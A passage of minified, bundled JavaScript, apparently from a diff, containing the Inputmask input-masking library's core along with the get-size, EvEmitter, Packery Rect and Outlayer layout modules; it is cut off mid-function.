= e.isFunction(l.onBeforeMask) ? l.onBeforeMask.call(U, X.inputmask._valueGet(!0), l) || X.inputmask._valueGet(!0) : X.inputmask._valueGet(!0); + "" !== a && j(X, !0, !1, J ? a.split("").reverse() : a.split("")); + var s = L().slice(); + q = s.join(""), !1 === R(s) && l.clearIncomplete && p(), l.clearMaskOnLostFocus && i.activeElement !== X && (-1 === v() ? s = [] : z(s)), A(X, s), i.activeElement === X && I(X, E(v())) + } + }(X); + break; + case "format": + return ne = (e.isFunction(l.onBeforeMask) ? l.onBeforeMask.call(U, a.value, l) || a.value : a.value).split(""), j(n, !0, !1, J ? ne.reverse() : ne), a.metadata ? { + value: J ? L().slice().reverse().join("") : L().join(""), + metadata: o.call(this, { + action: "getmetadata" + }, s, l) + } : J ? L().slice().reverse().join("") : L().join(""); + case "isValid": + a.value ? (ne = a.value.split(""), j(n, !0, !0, J ? ne.reverse() : ne)) : a.value = L().join(""); + for (var re = L(), ae = F(), se = re.length - 1; se > ae && !D(se); se--); + return re.splice(ae, se + 1 - ae), R(re) && a.value === L().join(""); + case "getemptymask": + return k().join(""); + case "remove": + if (X && X.inputmask) { + $ = e(X), X.inputmask._valueSet(l.autoUnmask ? H(X) : X.inputmask._valueGet(!0)), te.off(X); + Object.getOwnPropertyDescriptor && Object.getPrototypeOf ? Object.getOwnPropertyDescriptor(Object.getPrototypeOf(X), "value") && X.inputmask.__valueGet && Object.defineProperty(X, "value", { + get: X.inputmask.__valueGet, + set: X.inputmask.__valueSet, + configurable: !0 + }) : i.__lookupGetter__ && X.__lookupGetter__("value") && X.inputmask.__valueGet && (X.__defineGetter__("value", X.inputmask.__valueGet), X.__defineSetter__("value", X.inputmask.__valueSet)), X.inputmask = n + } + return X; + case "getmetadata": + if (e.isArray(s.metadata)) { + var oe = h(!0, 0, !1).join(""); + return e.each(s.metadata, function (e, t) { + if (t.mask === oe) return oe = t, !1 + }), oe + } + return s.metadata + } + } + var l = navigator.userAgent, + u = /mobile/i.test(l), + d = /iemobile/i.test(l), + f = /iphone/i.test(l) && !d, + c = /android/i.test(l) && !d; + return r.prototype = { + dataAttribute: "data-inputmask", + defaults: { + placeholder: "_", + optionalmarker: { + start: "[", + end: "]" + }, + quantifiermarker: { + start: "{", + end: "}" + }, + groupmarker: { + start: "(", + end: ")" + }, + alternatormarker: "|", + escapeChar: "\\", + mask: null, + regex: null, + oncomplete: e.noop, + onincomplete: e.noop, + oncleared: e.noop, + repeat: 0, + greedy: !0, + autoUnmask: !1, + removeMaskOnSubmit: !1, + clearMaskOnLostFocus: !0, + insertMode: !0, + clearIncomplete: !1, + alias: null, + onKeyDown: e.noop, + onBeforeMask: null, + onBeforePaste: function (t, i) { + return e.isFunction(i.onBeforeMask) ? i.onBeforeMask.call(this, t, i) : t + }, + onBeforeWrite: null, + onUnMask: null, + showMaskOnFocus: !0, + showMaskOnHover: !0, + onKeyValidation: e.noop, + skipOptionalPartCharacter: " ", + numericInput: !1, + rightAlign: !1, + undoOnEscape: !0, + radixPoint: "", + radixPointDefinitionSymbol: n, + groupSeparator: "", + keepStatic: null, + positionCaretOnTab: !0, + tabThrough: !1, + supportsInputType: ["text", "tel", "password"], + ignorables: [8, 9, 13, 19, 27, 33, 34, 35, 36, 37, 38, 39, 40, 45, 46, 93, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 0, 229], + isComplete: null, + canClearPosition: e.noop, + preValidation: null, + postValidation: null, + staticDefinitionSymbol: n, + jitMasking: !1, + nullable: !0, + inputEventOnly: !1, + noValuePatching: !1, + positionCaretOnClick: "lvp", + casing: null, + inputmode: "verbatim", + colorMask: !1, + androidHack: !1, + importDataAttributes: !0 + }, + definitions: { + 9: { + validator: "[0-91-9]", + cardinality: 1, + definitionSymbol: "*" + }, + a: { + validator: "[A-Za-zА-яЁёÀ-ÿµ]", + cardinality: 1, + definitionSymbol: "*" + }, + "*": { + validator: "[0-91-9A-Za-zА-яЁёÀ-ÿµ]", + cardinality: 1 + } + }, + aliases: {}, + masksCache: {}, + mask: function (l) { + function u(i, r, s, o) { + function l(e, r) { + null !== (r = r !== n ? r : i.getAttribute(o + "-" + e)) && ("string" == typeof r && (0 === e.indexOf("on") ? r = t[r] : "false" === r ? r = !1 : "true" === r && (r = !0)), s[e] = r) + } + if (!0 === r.importDataAttributes) { + var u, d, f, c, h = i.getAttribute(o); + if (h && "" !== h && (h = h.replace(new RegExp("'", "g"), '"'), d = JSON.parse("{" + h + "}")), d) { + f = n; + for (c in d) + if ("alias" === c.toLowerCase()) { + f = d[c]; + break + } + } + l("alias", f), s.alias && a(s.alias, s, r); + for (u in r) { + if (d) { + f = n; + for (c in d) + if (c.toLowerCase() === u.toLowerCase()) { + f = d[c]; + break + } + } + l(u, f) + } + } + return e.extend(!0, r, s), ("rtl" === i.dir || r.rightAlign) && (i.style.textAlign = "right"), ("rtl" === i.dir || r.numericInput) && (i.dir = "ltr", i.removeAttribute("dir"), r.isRTL = !0), r + } + var d = this; + return "string" == typeof l && (l = i.getElementById(l) || i.querySelectorAll(l)), l = l.nodeName ? [l] : l, e.each(l, function (t, i) { + var a = e.extend(!0, {}, d.opts); + u(i, a, e.extend(!0, {}, d.userOptions), d.dataAttribute); + var l = s(a, d.noMasksCache); + l !== n && (i.inputmask !== n && (i.inputmask.opts.autoUnmask = !0, i.inputmask.remove()), i.inputmask = new r(n, n, !0), i.inputmask.opts = a, i.inputmask.noMasksCache = d.noMasksCache, i.inputmask.userOptions = e.extend(!0, {}, d.userOptions), i.inputmask.isRTL = a.isRTL || a.numericInput, i.inputmask.el = i, i.inputmask.maskset = l, e.data(i, "_inputmask_opts", a), o.call(i.inputmask, { + action: "mask" + })) + }), l && l[0] ? l[0].inputmask || this : this + }, + option: function (t, i) { + return "string" == typeof t ? this.opts[t] : "object" == typeof t ? (e.extend(this.userOptions, t), this.el && !0 !== i && this.mask(this.el), this) : void 0 + }, + unmaskedvalue: function (e) { + return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { + action: "unmaskedvalue", + value: e + }) + }, + remove: function () { + return o.call(this, { + action: "remove" + }) + }, + getemptymask: function () { + return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { + action: "getemptymask" + }) + }, + hasMaskedValue: function () { + return !this.opts.autoUnmask + }, + isComplete: function () { + return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { + action: "isComplete" + }) + }, + getmetadata: function () { + return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { + action: "getmetadata" + }) + }, + isValid: function (e) { + return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { + action: "isValid", + value: e + }) + }, + format: function (e, t) { + return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { + action: "format", + value: e, + metadata: t + }) + }, + analyseMask: function (t, i, a) { + function s(e, t, i, n) { + this.matches = [], this.openGroup = e || !1, this.alternatorGroup = !1, this.isGroup = e || !1, this.isOptional = t || !1, this.isQuantifier = i || !1, this.isAlternator = n || !1, this.quantifier = { + min: 1, + max: 1 + } + } + + function o(t, s, o) { + o = o !== n ? o : t.matches.length; + var l = t.matches[o - 1]; + if (i) 0 === s.indexOf("[") || b && /\\d|\\s|\\w]/i.test(s) || "." === s ? t.matches.splice(o++, 0, { + fn: new RegExp(s, a.casing ? "i" : ""), + cardinality: 1, + optionality: t.isOptional, + newBlockMarker: l === n || l.def !== s, + casing: null, + def: s, + placeholder: n, + nativeDef: s + }) : (b && (s = s[s.length - 1]), e.each(s.split(""), function (e, i) { + l = t.matches[o - 1], t.matches.splice(o++, 0, { + fn: null, + cardinality: 0, + optionality: t.isOptional, + newBlockMarker: l === n || l.def !== i && null !== l.fn, + casing: null, + def: a.staticDefinitionSymbol || i, + placeholder: a.staticDefinitionSymbol !== n ? i : n, + nativeDef: i + }) + })), b = !1; + else { + var u = (a.definitions ? a.definitions[s] : n) || r.prototype.definitions[s]; + if (u && !b) { + for (var d = u.prevalidator, f = d ? d.length : 0, c = 1; c < u.cardinality; c++) { + var h = f >= c ? d[c - 1] : [], + m = h.validator, + p = h.cardinality; + t.matches.splice(o++, 0, { + fn: m ? "string" == typeof m ? new RegExp(m, a.casing ? "i" : "") : new function () { + this.test = m + } : new RegExp("."), + cardinality: p || 1, + optionality: t.isOptional, + newBlockMarker: l === n || l.def !== (u.definitionSymbol || s), + casing: u.casing, + def: u.definitionSymbol || s, + placeholder: u.placeholder, + nativeDef: s + }), l = t.matches[o - 1] + } + t.matches.splice(o++, 0, { + fn: u.validator ? "string" == typeof u.validator ? new RegExp(u.validator, a.casing ? "i" : "") : new function () { + this.test = u.validator + } : new RegExp("."), + cardinality: u.cardinality, + optionality: t.isOptional, + newBlockMarker: l === n || l.def !== (u.definitionSymbol || s), + casing: u.casing, + def: u.definitionSymbol || s, + placeholder: u.placeholder, + nativeDef: s + }) + } else t.matches.splice(o++, 0, { + fn: null, + cardinality: 0, + optionality: t.isOptional, + newBlockMarker: l === n || l.def !== s && null !== l.fn, + casing: null, + def: a.staticDefinitionSymbol || s, + placeholder: a.staticDefinitionSymbol !== n ? s : n, + nativeDef: s + }), b = !1 + } + } + + function l(t) { + t && t.matches && e.each(t.matches, function (e, r) { + var s = t.matches[e + 1]; + (s === n || s.matches === n || !1 === s.isQuantifier) && r && r.isGroup && (r.isGroup = !1, i || (o(r, a.groupmarker.start, 0), !0 !== r.openGroup && o(r, a.groupmarker.end))), l(r) + }) + } + + function u() { + if (M.length > 0) { + if (m = M[M.length - 1], o(m, c), m.isAlternator) { + p = M.pop(); + for (var e = 0; e < p.matches.length; e++) p.matches[e].isGroup = !1; + M.length > 0 ? (m = M[M.length - 1]).matches.push(p) : w.matches.push(p) + } + } else o(w, c) + } + + function d(e) { + e.matches = e.matches.reverse(); + for (var t in e.matches) + if (e.matches.hasOwnProperty(t)) { + var i = parseInt(t); + if (e.matches[t].isQuantifier && e.matches[i + 1] && e.matches[i + 1].isGroup) { + var r = e.matches[t]; + e.matches.splice(t, 1), e.matches.splice(i + 1, 0, r) + } + e.matches[t].matches !== n ? e.matches[t] = d(e.matches[t]) : e.matches[t] = function (e) { + return e === a.optionalmarker.start ? e = a.optionalmarker.end : e === a.optionalmarker.end ? e = a.optionalmarker.start : e === a.groupmarker.start ? e = a.groupmarker.end : e === a.groupmarker.end && (e = a.groupmarker.start), e + }(e.matches[t]) + } + return e + } + var f, c, h, m, p, v, _, g = /(?:[?*+]|\{[0-9\+\*]+(?:,[0-9\+\*]*)?\})|[^.?*+^${[]()|\\]+|./g, + y = /\[\^?]?(?:[^\\\]]+|\\[\S\s]?)*]?|\\(?:0(?:[0-3][0-7]{0,2}|[4-7][0-7]?)?|[1-9][0-9]*|x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4}|c[A-Za-z]|[\S\s]?)|\((?:\?[:=!]?)?|(?:[?*+]|\{[0-9]+(?:,[0-9]*)?\})\??|[^.?*+^${[()|\\]+|./g, + b = !1, + w = new s, + M = [], + k = []; + for (i && (a.optionalmarker.start = n, a.optionalmarker.end = n); f = i ? y.exec(t) : g.exec(t);) { + if (c = f[0], i) switch (c.charAt(0)) { + case "?": + c = "{0,1}"; + break; + case "+": + case "*": + c = "{" + c + "}" + } + if (b) u(); + else switch (c.charAt(0)) { + case a.escapeChar: + b = !0, i && u(); + break; + case a.optionalmarker.end: + case a.groupmarker.end: + if (h = M.pop(), h.openGroup = !1, h !== n) + if (M.length > 0) { + if ((m = M[M.length - 1]).matches.push(h), m.isAlternator) { + p = M.pop(); + for (var L = 0; L < p.matches.length; L++) p.matches[L].isGroup = !1, p.matches[L].alternatorGroup = !1; + M.length > 0 ? (m = M[M.length - 1]).matches.push(p) : w.matches.push(p) + } + } else w.matches.push(h); + else u(); + break; + case a.optionalmarker.start: + M.push(new s(!1, !0)); + break; + case a.groupmarker.start: + M.push(new s(!0)); + break; + case a.quantifiermarker.start: + var T = new s(!1, !1, !0), + x = (c = c.replace(/[{}]/g, "")).split(","), + S = isNaN(x[0]) ? x[0] : parseInt(x[0]), + Y = 1 === x.length ? S : isNaN(x[1]) ? x[1] : parseInt(x[1]); + if ("*" !== Y && "+" !== Y || (S = "*" === Y ? 0 : 1), T.quantifier = { + min: S, + max: Y + }, M.length > 0) { + var D = M[M.length - 1].matches; + (f = D.pop()).isGroup || ((_ = new s(!0)).matches.push(f), f = _), D.push(f), D.push(T) + } else(f = w.matches.pop()).isGroup || (i && null === f.fn && "." === f.def && (f.fn = new RegExp(f.def, a.casing ? "i" : "")), (_ = new s(!0)).matches.push(f), f = _), w.matches.push(f), w.matches.push(T); + break; + case a.alternatormarker: + if (M.length > 0) { + var E = (m = M[M.length - 1]).matches[m.matches.length - 1]; + v = m.openGroup && (E.matches === n || !1 === E.isGroup && !1 === E.isAlternator) ? M.pop() : m.matches.pop() + } else v = w.matches.pop(); + if (v.isAlternator) M.push(v); + else if (v.alternatorGroup ? (p = M.pop(), v.alternatorGroup = !1) : p = new s(!1, !1, !1, !0), p.matches.push(v), M.push(p), v.openGroup) { + v.openGroup = !1; + var C = new s(!0); + C.alternatorGroup = !0, M.push(C) + } + break; + default: + u() + } + } + for (; M.length > 0;) h = M.pop(), w.matches.push(h); + return w.matches.length > 0 && (l(w), k.push(w)), (a.numericInput || a.isRTL) && d(k[0]), k + } + }, r.extendDefaults = function (t) { + e.extend(!0, r.prototype.defaults, t) + }, r.extendDefinitions = function (t) { + e.extend(!0, r.prototype.definitions, t) + }, r.extendAliases = function (t) { + e.extend(!0, r.prototype.aliases, t) + }, r.format = function (e, t, i) { + return r(t).format(e, i) + }, r.unmask = function (e, t) { + return r(t).unmaskedvalue(e) + }, r.isValid = function (e, t) { + return r(t).isValid(e) + }, r.remove = function (t) { + e.each(t, function (e, t) { + t.inputmask && t.inputmask.remove() + }) + }, r.escapeRegex = function (e) { + var t = ["/", ".", "*", "+", "?", "|", "(", ")", "[", "]", "{", "}", "\\", "$", "^"]; + return e.replace(new RegExp("(\\" + t.join("|\\") + ")", "gim"), "\\$1") + }, r.keyCode = { + ALT: 18, + BACKSPACE: 8, + BACKSPACE_SAFARI: 127, + CAPS_LOCK: 20, + COMMA: 188, + COMMAND: 91, + COMMAND_LEFT: 91, + COMMAND_RIGHT: 93, + CONTROL: 17, + DELETE: 46, + DOWN: 40, + END: 35, + ENTER: 13, + ESCAPE: 27, + HOME: 36, + INSERT: 45, + LEFT: 37, + MENU: 93, + NUMPAD_ADD: 107, + NUMPAD_DECIMAL: 110, + NUMPAD_DIVIDE: 111, + NUMPAD_ENTER: 108, + NUMPAD_MULTIPLY: 106, + NUMPAD_SUBTRACT: 109, + PAGE_DOWN: 34, + PAGE_UP: 33, + PERIOD: 190, + RIGHT: 39, + SHIFT: 16, + SPACE: 32, + TAB: 9, + UP: 38, + WINDOWS: 91, + X: 88 + }, r + }) +}, function (e, t, i) { + var n, r; + (function (a, s) { + if (true) { + !(n = s, r = typeof n === "function" ? n.call(t, i, t, e) : n, r !== undefined && (e.exports = r)) + } else if (typeof e == "object" && e.exports) { + e.exports = s() + } else { + a.getSize = s() + } + })(window, function e() { + "use strict"; + + function t(e) { + var t = parseFloat(e); + var i = e.indexOf("%") == -1 && !isNaN(t); + return i && t + } + + function i() {} + var n = typeof console == "undefined" ? i : function (e) { + console.error(e) + }; + var r = ["paddingLeft", "paddingRight", "paddingTop", "paddingBottom", "marginLeft", "marginRight", "marginTop", "marginBottom", "borderLeftWidth", "borderRightWidth", "borderTopWidth", "borderBottomWidth"]; + var a = r.length; + + function s() { + var e = { + width: 0, + height: 0, + innerWidth: 0, + innerHeight: 0, + outerWidth: 0, + outerHeight: 0 + }; + for (var t = 0; t < a; t++) { + var i = r[t]; + e[i] = 0 + } + return e + } + + function o(e) { + var t = getComputedStyle(e); + if (!t) { + n("Style returned " + t + ". Are you running this code in a hidden iframe on Firefox? " + "See https://bit.ly/getsizebug1") + } + return t + } + var l = false; + var u; + + function d() { + if (l) { + return + } + l = true; + var e = document.createElement("div"); + e.style.width = "200px"; + e.style.padding = "1px 2px 3px 4px"; + e.style.borderStyle = "solid"; + e.style.borderWidth = "1px 2px 3px 4px"; + e.style.boxSizing = "border-box"; + var i = document.body || document.documentElement; + i.appendChild(e); + var n = o(e); + u = Math.round(t(n.width)) == 200; + f.isBoxSizeOuter = u; + i.removeChild(e) + } + + function f(e) { + d(); + if (typeof e == "string") { + e = document.querySelector(e) + } + if (!e || typeof e != "object" || !e.nodeType) { + return + } + var i = o(e); + if (i.display == "none") { + return s() + } + var n = {}; + n.width = e.offsetWidth; + n.height = e.offsetHeight; + var l = n.isBorderBox = i.boxSizing == "border-box"; + for (var f = 0; f < a; f++) { + var c = r[f]; + var h = i[c]; + var m = parseFloat(h); + n[c] = !isNaN(m) ? m : 0 + } + var p = n.paddingLeft + n.paddingRight; + var v = n.paddingTop + n.paddingBottom; + var _ = n.marginLeft + n.marginRight; + var g = n.marginTop + n.marginBottom; + var y = n.borderLeftWidth + n.borderRightWidth; + var b = n.borderTopWidth + n.borderBottomWidth; + var w = l && u; + var M = t(i.width); + if (M !== false) { + n.width = M + (w ? 0 : p + y) + } + var k = t(i.height); + if (k !== false) { + n.height = k + (w ? 0 : v + b) + } + n.innerWidth = n.width - (p + y); + n.innerHeight = n.height - (v + b); + n.outerWidth = n.width + _; + n.outerHeight = n.height + g; + return n + } + return f + }) +}, function (e, t, i) { + var n, r; + (function (a, s) { + if (true) { + !(n = s, r = typeof n === "function" ? n.call(t, i, t, e) : n, r !== undefined && (e.exports = r)) + } else if (typeof e == "object" && e.exports) { + e.exports = s() + } else { + a.EvEmitter = s() + } + })(typeof window != "undefined" ? window : this, function () { + "use strict"; + + function e() {} + var t = e.prototype; + t.on = function (e, t) { + if (!e || !t) { + return + } + var i = this._events = this._events || {}; + var n = i[e] = i[e] || []; + if (n.indexOf(t) == -1) { + n.push(t) + } + return this + }; + t.once = function (e, t) { + if (!e || !t) { + return + } + this.on(e, t); + var i = this._onceEvents = this._onceEvents || {}; + var n = i[e] = i[e] || {}; + n[t] = true; + return this + }; + t.off = function (e, t) { + var i = this._events && this._events[e]; + if (!i || !i.length) { + return + } + var n = i.indexOf(t); + if (n != -1) { + i.splice(n, 1) + } + return this + }; + t.emitEvent = function (e, t) { + var i = this._events && this._events[e]; + if (!i || !i.length) { + return + } + i = i.slice(0); + t = t || []; + var n = this._onceEvents && this._onceEvents[e]; + for (var r = 0; r < i.length; r++) { + var a = i[r]; + var s = n && n[a]; + if (s) { + this.off(e, a); + delete n[a] + } + a.apply(this, t) + } + return this + }; + t.allOff = function () { + delete this._events; + delete this._onceEvents + }; + return e + }) +}, function (e, t, i) { + var n, r; + (function (a, s) { + if (true) { + !(n = s, r = typeof n === "function" ? n.call(t, i, t, e) : n, r !== undefined && (e.exports = r)) + } else if (typeof e == "object" && e.exports) { + e.exports = s() + } else { + a.Packery = a.Packery || {}; + a.Packery.Rect = s() + } + })(window, function e() { + "use strict"; + + function t(e) { + for (var i in t.defaults) { + this[i] = t.defaults[i] + } + for (i in e) { + this[i] = e[i] + } + } + t.defaults = { + x: 0, + y: 0, + width: 0, + height: 0 + }; + var i = t.prototype; + i.contains = function (e) { + var t = e.width || 0; + var i = e.height || 0; + return this.x <= e.x && this.y <= e.y && this.x + this.width >= e.x + t && this.y + this.height >= e.y + i + }; + i.overlaps = function (e) { + var t = this.x + this.width; + var i = this.y + this.height; + var n = e.x + e.width; + var r = e.y + e.height; + return this.x < n && t > e.x && this.y < r && i > e.y + }; + i.getMaximalFreeRects = function (e) { + if (!this.overlaps(e)) { + return false + } + var i = []; + var n; + var r = this.x + this.width; + var a = this.y + this.height; + var s = e.x + e.width; + var o = e.y + e.height; + if (this.y < e.y) { + n = new t({ + x: this.x, + y: this.y, + width: this.width, + height: e.y - this.y + }); + i.push(n) + } + if (r > s) { + n = new t({ + x: s, + y: this.y, + width: r - s, + height: this.height + }); + i.push(n) + } + if (a > o) { + n = new t({ + x: this.x, + y: o, + width: this.width, + height: a - o + }); + i.push(n) + } + if (this.x < e.x) { + n = new t({ + x: this.x, + y: this.y, + width: e.x - this.x, + height: this.height + }); + i.push(n) + } + return i + }; + i.canFit = function (e) { + return this.width >= e.width && this.height >= e.height + }; + return t + }) +}, function (e, t, i) { + var n, r; + (function (a, s) { + "use strict"; + if (true) { + !(n = [i(4), i(3), i(141), i(143)], r = function (e, t, i, n) { + return s(a, e, t, i, n) + }.apply(t, n), r !== undefined && (e.exports = r)) + } else if (typeof e == "object" && e.exports) { + e.exports = s(a, require("ev-emitter"), require("get-size"), require("fizzy-ui-utils"), require("./item")) + } else { + a.Outlayer = s(a, a.EvEmitter, a.getSize, a.fizzyUIUtils, a.Outlayer.Item) + } + })(window, function e(t, i, n, r, a) { + "use strict"; + var s = t.console; + var o = t.jQuery; + var l = function () {}; + var u = 0; + var d = {}; + + function f(e, t) { + var i = r.getQueryElement(e); + if (!i) { + if (s) { + s.error("Bad element for " + this.constructor.namespace + ": " + (i || e)) + } + return + } + this.element = i; + if (o) { + this.$element = o(this.element) + } + this.options = r.extend({}, this.constructor.defaults); + this.option(t); + var n = ++u; + this.element.outlayerGUID = n; + d[n] = this; + this._create(); + var a = this._getOption("initLayout"); + if (a) { + this.layout() + } + } + f.namespace = "outlayer"; + f.Item = a; + f.defaults = { + containerStyle: { + position: "relative" + }, + initLayout: true, + originLeft: true, + originTop: true, + resize: true, + resizeContainer: true, + transitionDuration: "0.4s", + hiddenStyle: { + opacity: 0, + transform: "scale(0.001)" + }, + visibleStyle: { + opacity: 1, + transform: "scale(1)" + } + }; + var c = f.prototype; + r.extend(c, i.prototype); + c.option = function (e) { + r.extend(this.options, e) + }; + c._getOption = function (e) { + var t = this.constructor.compatOptions[e]; + return t && this.options[t] !== undefined ? this.options[t] : this.options[e] + }; + f.compatOptions = { + initLayout: "isInitLayout", + horizontal: "isHorizontal", + layoutInstant: "isLayoutInstant", + originLeft: "isOriginLeft", + originTop: "isOriginTop", + resize: "isResizeBound", + resizeContainer: "isResizingContainer" + }; + c._create = function () { + this.reloadItems(); + this.stamps = []; + this.stamp(this.options.stamp); + r.extend(this.element.style, this.options.containerStyle); + var e = this._getOption("resize"); + if (e) { + this.bindResize() + } + }; + c.reloadItems = function () { + this.items = this._itemize(this.element.children) + }; + c._itemize = function (e) { + var t = this._filterFindItemElements(e); + var i = this.constructor.Item; + var n = []; + for (var r = 0; r < t.length; r++) { + var a = t[r]; + var s = new i(a, this); + n.push(s) + } + return n + }; + c._filterFindItemElements = function (e) { + return r.filterFindElements(e, this.options.itemSelector) + }; + c.getItemElements = function () { + return this.items.map(function (e) { + return e.element + }) + }; + c.layout = function () { + this._resetLayout(); + this._manageStamps(); + var e = this._getOption("layoutInstant"); + var t = e !== undefined ? e : !this._isLayoutInited; + this.layoutItems(this.items, t); + this._isLayoutInited = true + }; + c._init = c.layout; + c._resetLayout = function () { + this.getSize() + }; + c.getSize = function () { + this.size = n(this.element) + }; + c._getMeasurement = function (e, t) { + var i = this.options[e]; + var r; + if (!i) { + this[e] = 0 + } else { + if (typeof i == "string") { + r = this.element.querySelector(i) + } else if (i instanceof HTMLElement) { + r = i + } + this[e] = r ? n(r)[t] : i + } + }; + c.layoutItems = function (e, t) { + e = this._getItemsForLayout(e); + this._layoutItems(e, t); + this._postLayout() + }; + c._getItemsForLayout = function (e) { + return e.filter(function (e) { + return !e.isIgnored + }) + }; + c._layoutItems = function (e, t) { + this._emitCompleteOnItems("layout", e); + if (!e || !e.length) { + return + } + var i = []; + e.forEach(function (e) { + var n = this._getItemLayoutPosition(e); + n.item = e; + n.isInstant = t || e.isLayoutInstant; + i.push(n) + }, this); + this._processLayoutQueue(i) + }; + c._getItemLayoutPosition = function () { + return { + x: 0, + y: 0 + } + }; + c._processLayoutQueue = function (e) { + this.updateStagger(); + e.forEach(function (e, t) { + this._positionItem(e.item, e.x, e.y, e.isInstant, t) + }, this) + }; + c.updateStagger = function () { + var e = this.options.stagger; + if (e === null || e === undefined) { + this.stagger = 0; + return + } + this.stagger = p(e); + return this.stagger + }; + c._positionItem = function (e, t, i, n, r) { + if (n) { + e.goTo(t, i) + } else { + e.stagger(r * this.stagger); + e.moveTo(t, i) + } + }; + c._postLayout = function () { + this.resizeContainer() + }; + c.resizeContainer = function () { + var e = this._getOption("resizeContainer"); + if (!e) { + return + } + var t = this._getContainerSize(); + if (t) { + this._setContainerMeasure(t.width, true); + this._setContainerMeasure(t.height, false) + } + }; + c._getContainerSize = l; + c._setContainerMeasure = function (e, t) { + if (e === undefined) { + return + } + var i = this.size; + if (i.isBorderBox) { + e += t ? i.paddingLeft + i.paddingRight + i.borderLeftWidth + i.borderRightWidth : i.paddingBottom + i.paddingTop + i.borderTopWidth + i.borderBottomWidth + } + e = Math.max(e, 0); + this.element.style[t ? "width" : "height"] = e + "px" + }; + c._emitCompleteOnItems = function (e, t) { + var i = this; + + function n() { + i.dispatchEvent(e + "Complete", null, [t]) + } + var r = t.length; + if (!t || !r) { + n(); + return + } + var a = 0; + + function s() { + a++; + if (a == r) { + n() + } + } + t.forEach(function (t) { + t.once(e, s) + }) + }; + c.dispatchEvent = function (e, t, i) { + var n = t ? [t].concat(i) : i; + this.emitEvent(e, n); + if (o) { + this.$element = this.$element || o(this.element); + if (t) { + var r = o.Event(t); + r.type = e; + this.$element.trigger(r, i) + } else { + this.$element.trigger(e, i) + } + } + }; + c.ignore = function (e) { + var t = this.getItem(e); + if (t) { + t.isIgnored = true + } + }; + c.unignore = function (e) { + var t = this.getItem(e); + if (t) { + delete t.isIgnored + } + }; + c.stamp = function (e) { + e = this._find(e); + if (!e) { + return + } + this.stamps = this.stamps.concat(e); + e.forEach(this.ignore, this) + }; + c.unstamp = function (e) { + e = this._find(e); + if (!e) { + return + } + e.forEach(function (e) { + r.removeFrom(this.stamps, e); + this.unignore(e) + }, this) + }; + c._find = function (e) { + if (!e) { + return + } + if (typeof e == "string") { + e = this.element.querySelectorAll(e) + } + e = r.makeArray(e); + return e + }; + c._manageStamps = function () { + if (!this.stamps || !this.stamps.length) { + return + } + this._getBoundingRect(); + this.stamps.forEach(this._manageStamp, this) + }; + c._getBoundingRect = function () { + var e = this.element.getBoundingClientRect(); + var t = this.size; + this._boundingRect = { + left: e.left + t.paddingLeft + t.borderLeftWidth, + top: e.top + t.paddingTop + t.borderTopWidth, + right: e.right - (t.paddingRight + t.borderRightWidth), + bottom: e.bottom - (t.paddingBottom + t.borderBottomWidth) + } + }; + c._manageStamp = l; + c._getElementOffset = function (e) { + var t = e.getBoundingClientRect(); + var i = this._boundingRect; + var r = n(e); + var a = { + left: t.left - i.left - r.marginLeft, + top: t.top - i.top - r.marginTop, + right: i.right - t.right - r.marginRight, + bottom: i.bottom - t.bottom - r.marginBottom + }; + return a + }; + c.handleEvent = r.handleEvent; + c.bindResize = function () { + t.addEventListener("resize", this); + this.isResizeBound = true + }; + c.unbindResize = function () { + t.removeEventListener("resize", this); + this.isResizeBound = false + }; + c.onresize = function () { + this.resize() + }; + r.debounceMethod(f, "onresize", 100); + c.resize = function () { + if (!this.isResizeBound || !this.needsResizeLayout()) { + return + } + this.layout() + }; + c.needsResizeLayout = function () { + var e = n(this.element); + var t = this.size && e; + return t && e.innerWidth !== this.size.innerWidth + }; + c.addItems = function (e) { + var t = this._itemize(e); + if (t.length) { + this.items = this.items.concat(t) + } + return t + }; + c.appended = function (e) { + var t = this.addItems(e); + if (!t.length) { + return + } + this.layoutItems(t, true); + this.reveal(t) + }; + c.prepended = function (e) { + var t = this._itemize(e); + if (!t.length) { + return + } + var i = this.items.slice(0); + this.items = t.concat(i); + this._resetLayout(); + this._manageStamps(); + this.layoutItems(t, true); + this.reveal(t); + this.layoutItems(i) + }; + c.reveal = function (e) { + this._emitCompleteOnItems("reveal", e); + if (!e || !e.length) { + return + } + var t = this.updateStagger(); + e.forEach(function (e, i) { + e.stagger(i * t); + e.reveal() + }) + }; + c.hide = function (e) { + this._emitCompleteOnItems("hide", e); + if (!e || !e.length) { + return + } + var t = this.updateStagger(); + e.forEach(function (e, i) { + e.stagger(i * t); + e.hide() + }) + }; + c.revealItemElements = function (e) { + var t = this.getItems(e); + this.reveal(t) + }; + c.hideItemElements = function (e) { + var t = this.getItems(e); + this.hide(t) + }; + c.getItem = function (e) { + for (var t = 0; t < this.items.length; t++) { + var i = this.items[t]; + if (i.element == e) { + return i + } + } + }; + c.getItems = function (e) { + e = r.makeArray(e); + var t = []; + e.forEach(function (e) { + var i = this.getItem(e); + if (i) { + t.push(i) + } + }, this); + return t + }; + c.remove = function (e) { + var t = this.getItems(e); + this._emitCompleteOnItems("remove", t); + if (!t || !t.length) { + return + } + t.forEach(function (e) { + e.remove(); + r.removeFrom(this.items, e) + }, this) + }; + c.destroy = function () { + var e = this.element.style; + e.height = ""; + e.position = ""; + e.width = ""; + this.items.forEach(function (e) { + e.destroy() + }); + this.unbindResize(); + var t = this.element.outlayerGUID; + delete d[t]; + delete this.element.outlayerGUID; + if (o) { + o.removeData(this.element, this.constructor.namespace) + } + }; + f.data = function (e) { + e = r.getQueryElement(e); + var t = e && e.outlayerGUID; + return t && d[t] + }; + f.create = function (e, t) { + var i = h(f); + i.defaults = r.extend({}, f.defaults); + r.extend(i.defaults, t); + i.compatOptions = r.extend({}, f.compatOptions); + i.namespace = e; + i.data = f.data; + i.Item = h(a); + r.htmlInit(i, e); + if (o && o.bridget) { + o.bridget(e, i) + } + return i + }; + + function h(e) { + function t() { + e.apply(this, arguments) + } + t.prototype = Object.create(e.prototype); + t.prototype.constructor = t; + return t + } + var m = { + ms: 1, + s: 1e3 + }; + + function p(e) { + if (typeof e == "number") { + return e + } + var t 